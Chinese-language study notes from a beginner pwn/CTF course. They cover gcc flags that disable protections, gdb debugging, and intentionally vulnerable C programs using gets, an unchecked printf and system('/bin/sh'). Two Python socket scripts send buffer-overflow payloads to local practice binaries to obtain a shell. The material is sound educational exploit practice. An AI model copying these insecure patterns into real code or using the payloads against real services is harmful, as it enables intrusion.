大佬课程链接:https://www.bilibili.com/video/BV1mr4y1Y7fW/?spm_id_from=333.337.search-card.all.click
第一章gdb调试
1.认识程序
1.常用编译命令
编译程序
#-o 指定输出程序 gcc question.c -o question_1_x64
#编译32位程序 gcc -m32 question_1.c -o question_1_x86 #需要提前安装插件 sudo apt-get install gcc-multilib g++-multilib module-assistant
#esp #不省略栈帧指针 gcc -m32 question_1.c -fno-omit-frame-pointer -o question_1_x86_esp gcc question_1.c -fno-omit-frame-pointer -o question_1_x64_esp
#生成汇编代码 gcc -S question_1.c
#-O优化,一共三级,三级最高 gcc question.c -O3 -o question_1_x64_O3
#nopie编译 #pie生成地址无关可执行程序,加载到内存中地址存在不可预测性 #nopie关闭pie gcc question.c -no-pie -o question_1_x64_nopie
#静态编译,文件大小很大 gcc question.c -static -o question_1_x64_static
#关闭栈保护 gcc question_4_1.c -m32 -fno-stack-protector -no-pie -o question_4_1_x86 gcc question_4_1.c -fno-stack-protector -no-pie -fomit-frame-pointer -o question_4_1_x64_sep
|
2.常用linux命令
pwn会用到的命令
file 可以看到文件的基本信息 readelf -a [文件名] | less 可以看到elf文件的详细情况
nm [文件名]| less 查看目标文件的符号清单 hexdump [文件名] |less 查看16进制程序
ldd [文件名] 查看用到的库函数的位置
checksec [文件名] 查看文件编译状态
objdump -d [文件名]|less 命令编译成汇编指令 objdump -d [文件名] -M intel|less 命令编译成汇编指令
#开启socket调试 socat tcp-l:8888,fork exec:./a.out,reuseaddr
|
拿到pwn题第一步先运行,输入内容看打印结果
第二部checksec等看文件属性
查看进程的真正内存
1.先查询到进程的对应id,ps -ef|grep 2.cat /proc/10144/maps
|
2.gdb调试
gdb:地表最强动态调试器
1.gdb基础使用
0.单位转换基础
byte:字节
1 byte = 8 bit
1.amd64寄存器结构
rax: 8Bytes
eax: 4Bytes
ax: 2Bytes
ah: 1Bytes
al: 1Bytes
rip:用来存放当前执行的指令的地址
rbp/rsp:用来做栈,rsp存放当前栈顶地址,rbp存放当前栈底地址
rax: 通用寄存器,用来存储程序返回值
2.att与intel汇编
move rdp,rsp python rdp=rsp moveq %rsp,%rdp
|
3.gdb基础使用
gdb加载程序 gdb ./[文件名]
gdb运行 run
运行到程序入口点 start
查看寄存器 i r
反编译rip所在函数的位置 disassemble $rip #att->intel set disassembly-flavor intel
|
断点:
设置断点 b *0x000055555527a
让断点失效 disable b [断点id]
查看断点 i b
继续执行,直到遇到下一个断点 c
步过指令 ni
步入指令 si
步出指令 finish
|
BYTE:8位
WORD:16位
DWORD:32位
QWORD:64位
2个十六进制位算一个字节
打印寄存器的值 print $rbp
从rip开始往下编译20行 x/20i $rip
通过Byte的形式查看 x/20b $rbp-0x10
给rbp-0x10赋值为0x61 p $rbp-0x10 //0x7fffffffe210 set *0x7fffffffe210=0x61
|
2.Question1
q1.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
char sh[]="/bin/sh"; int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; }
int func(char *cmd){ system(cmd); return 0; } int main(){ char a[8] = {}; char b[8] = {}; puts("input:"); gets(a); printf(a); if(b[0]=='a'){ func(sh); } return 0; }
|
编译为程序(64位)
gdb调试
gdb q1 start disassemble $rip
|
可以看出在+89时,通过将$rbp-010的值取8位给eax,从而al获得值
在+93处如果al=0x61则不会跳转,从而运行以下程序
1.调试改值
所以在+89处设置断点
b *0x00005555555552ce b *0x00005555555552d2
|
运行到movzx处查看$rbp-0x10
为其赋值0x61
print $rip-0x10 set *0x7fffffffe350=0x61
|
运行到第二个断点时,查看寄存器的值,发现rax为0x61即al=0x61
成功获取shell
2.通过gets溢出
在输入时多输8个字符后再输入1个a
断点处
print $rbp-0x10 x/20gx 0x7fffffffe340
|
发现$rbp-0x10处低位已是0x61,由于gets函数输入内容过多,当a输入满后内容溢出覆盖b内存
直接向下运行即可获取shell
注:
1,断点的顺序:程序运行到断点处不会执行断点语句,继续执行才会执行断点语句
2.x/20b小端,x/20gx大端
选bx
选gx
gx分两列,第一列小第二列大,每列中左高位右低位
bx是从低位到高位,左低位右高位
3.Question1_x86
gbb的x86调试
-m32如果不行,去安装插件
sudo apt-get install gcc-multilib g++-multilib module-assistant
|
gdb调试
start disassemble $eip //32位是eip
|
在+120处给eax复制,124比较al和0x61并将结果给126条件判断
在+120处打断点 b *0x56556379
运行到断点处查看$ebp-0x10 发现存储地址0xffffd4c4,将该值赋值为0x61 (gdb) set *0xffffd4c4=0x61
|
有时用SET需转换为Unsigned类型
set *((unsigned int)$ebp+0x10)=0x18
|
3.初识pie_static_寻址方式
1.pie与static
1.nopie编译
-no-pie 数字就是40开头至少六位
正常编译 数字就很小,一般四位五位
|
2.static编译的文件 文件大小很大
-static file 文件属性中为statically linked ldd 不是动态可执行文件
|
3.-O优化,一共三级,三级最高
gcc question.c -O3 -o question_1_x64_O3
当gcc认为有函数不会执行后会进行优化
2.Question2(strcmp)
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
char sh[]="/bin/sh"; int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; }
int func(char *cmd){ system(cmd); return 0; } int main(){ init_func(); char a[8] = {}; char b[8] = {}; puts("input:"); gets(a); printf(a); if(!strcmp(b,"deadbeef")){ func(sh); } return 0; }
|
gdb调试
jne跳转条件通过test得到
test eax,eax : eax&eax =>cmp eax,0
等于0不跳转,不等于0跳转
第二章会系统学程序过程
第一章只要掌握gdb调试即可
法一
前8位随便输,第九位开始输入deadbeef即可获取shell
法二
test处打断点,运行到test出set $eax=0 即可获得shell
4.python脚本打pwn
python脚本打pwn初识
#include <stdio.h> #include <stdlib.h> #include <unistd.h> char sh[]="/bin/sh"; int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; }
int func(char *cmd){ system(cmd); return 0; }
int main(){ char a[8] = {}; char b[8] = {}; puts("input:"); gets(a); printf(a); if(b[0]==0x10){ func(sh); } return 0; }
|
1.gdb调试
使用set使得$rbp-0x10为0x10取得shell
2.借助python脚本实现
题目使用socat开启socket服务,ip地址为192.168.110.135
socat tcp-l:8877,fork exec:./q3,reuseaddr
|
本机
import socket import telnetlib import struct
def pwn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 8877)) payload = 'A'*8 + '\x10' s.sendall(payload + '\n') t = telnetlib.Telnet() t.sock = s t.interact() if __name__ == "__main__": pwn()
|
通过python2运行,成功获取shell
Question3(fp)
#include <stdio.h> #include <stdlib.h> #include <unistd.h> char sh[]="/bin/sh"; int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0; }
int func(char *cmd){ system(sh); return 0; }
int main(){ init_func(); volatile int (*fp)(); fp=0; int a; puts("input:"); gets(&a); if(fp){ fp(); } return 0; }
|
1.gdb手工调试
在+90处会用call回调rdx,如果将rdx的值设为func函数的地址,即可获取shell
查看func函数的地址
给$rdx赋该值后继续运行即可拿到shell
经观察在+81处,获取rdx的值,
在input处输入aaaaaa,到+81处时用x编译看rdp-0x20的值
发现刚才输入的a有两个溢出到了$rdp-0x10中,意味着输入四个字符后输入的值会给rdx
即gx编译中的一行
func 地址为:0x555555555232
通过给该地址赋值从而当 set *(long long int *)0x7fffffffe350=(long long int)0x555555555232
|
继续运行即可获取shell
2.通过nopie编译后,找到func地址编写exp
func地址为: 0x40121f,注意小端序脚本中要改为(\x1f\x12\x40\x00\x00\x00\x00\x00)
在python中使用
import socket import telnetlib import struct
def pwn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 8845)) payload = 'A'*4 + '\x1f\x12\x40\x00\x00\x00\x00\x00' s.sendall(payload + '\n') t = telnetlib.Telnet() t.sock = s t.interact()
if __name__ == "__main__": pwn()
|